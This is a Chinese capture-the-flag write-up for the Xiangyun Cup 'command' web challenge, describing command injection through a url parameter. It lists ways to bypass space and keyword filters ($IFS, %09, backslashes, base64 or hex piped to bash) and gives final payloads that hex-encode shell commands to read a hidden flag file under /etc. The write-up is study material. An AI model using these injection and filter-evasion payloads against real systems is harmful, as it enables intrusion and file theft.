首届祥云杯web之command WP
写WP时题目过期没法下发了。。。,截图只留下了几张,记录下思路
拿到题目随便输入请求,发现url参数,以为是SSRF,先把本地端口跑了一遍没啥结果
结合题目command,尝试输入命令,发现有空格弹窗nonono,确定是命令注入进行绕过
通过fuzz发现& ; && $ { [ /
以及空格被过滤,| ||
没被过滤
查阅资料发现空格可用以下方案代替:
$IFS
${IFS}
$IFS$9
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20
%09
结合过滤的字符,发现%09可成功绕过,尝试构造payload读取index.php源码
// ||分隔符:左边命令执行失败时才会执行右边的命令
?url=127||cat%09index.php
发现index cat php关键字也被过滤,绕过关键字的方法
ca\t y1n\g.php 反斜线绕过
cat y1"ng.php 两个单引号绕过
echo "Y2F0IHkxbmcucGhw" | base64 -d | bash base64编码绕过(引号可以去掉)
echo "6361742079316E672E706870" | xxd -r -p | bash hex编码绕过(引号可以去掉)
cat y1[n]g.php 用[]匹配
cat y1n* 用*匹配任意
内联执行
最终payload:即可拿到index.php源码,这里没保存下来。。
?url=127||ca\t%09in\dex.ph\p
接着在/etc中找到flag的位置
可以发现这个.findflag
是一个目录,所以还需进一步拿到flag文件名,通过阅读源码,发现若要绕过flag关键字,必须进行编码,这里使用hex编码读取flag文件名
payload:
// 对 'ls -al ../../../etc/.findflag' 进行hex编码
url=127||echo%09"6C73202D616C202E2E2F2E2E2F2E2E2F6574632F2E66696E64666C6167"%09|%09xxd%09-r%09-p%09|%09bas\h
响应包中可以看到文件名为flag.txt
读取flag
// 对 'cat ../../../etc/.findflag/flag.txt' 进行hex编码
url=127||echo%09"636174202E2E2F2E2E2F2E2E2F6574632F2E66696E64666C61672F666C61672E747874"%09|%09xxd%09-r%09-p%09|%09bas\h